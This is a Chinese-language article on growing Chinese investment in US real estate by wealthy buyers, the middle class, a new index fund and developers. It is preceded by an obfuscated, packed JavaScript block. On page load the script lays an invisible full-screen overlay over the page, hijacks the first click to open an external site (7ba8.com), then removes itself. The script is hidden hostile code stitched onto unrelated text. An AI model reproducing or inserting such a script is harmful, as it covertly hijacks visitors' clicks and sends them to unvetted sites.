<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>随着美国房地产的强势复苏以及美国房价、销售都创新高,越来越多的中国富人都去美国投资房地产,与以往不同的是一些国内中产阶级的人士也开始持金到美国投资,另外,中国一家基金管理公司将推出国内首只追踪美国房地产指数的基金,以迎合那些认为美国楼市将跑赢中国楼市的中国投资者,美国房地产指数基金也很快成为了投资者的“新欢”,从而使得中国对美国房地产的投资呈现了多元化的发展,通过各种方式来在房地产方面捞金。
近年来美国房地产成为中国富人的投资首选。来自中国的房地产开发商也已开始试水美国,今年进行了数笔大规模收购。但对中国中小投资者来说,迄今的选择很有限。广发基金称,其新产品将以低至1000元人民币(合163美元)的基金单位销售,从而把美国房地产这一资产类别带给更广泛的中国投资者。
中国富人一直向美国房市倾注资金,中国国有银行也大幅提高了针对美国商业地产项目的放贷。如今,中国房地产开发商也紧随二者之后,到美国试试运气。中国政府加大房价调控力度,3月份推出了更加严苛的房地产资本利得税,因此中国房地产开发商的压力骤增,被迫转向海外寻找机会。鑫苑置业就是带头发起海外攻势的企业之一。
另外,越来越多的海外置业项目开始进入中国市场。而更值得关注的是,与以往富人资金另觅他路的情形不同,部分内地中产收入阶层的所持资金亦开始转向海外地产业投资,一股中产阶层进行全球资产配置的风潮开始兴起,而美国、加拿大等房地产正在强势反弹的国家成为国内中产阶层的投资首选地。据调查数据显示,中产阶层年龄普遍在30-50岁之间,与富人阶层多元化的投资方式不同,国内新兴的中产阶层投资更有计划性、长远性,且要求回报的稳定性,且投资门槛不能过高,在国内房地产市场政策收紧以及后续政策不稳定的情况下,海外投资项目已成为中产阶层进行全球资产配置的重要选择方式。
随着中国投资者在美国房地产投资的多元化发展,更加的促进了美国房地产的加速复苏,从而反过来通过就业市场的改善,收入的改善,以及对未来信心的提升,进一步正向推动美国房地产市场的持续稳健复苏。
![]() |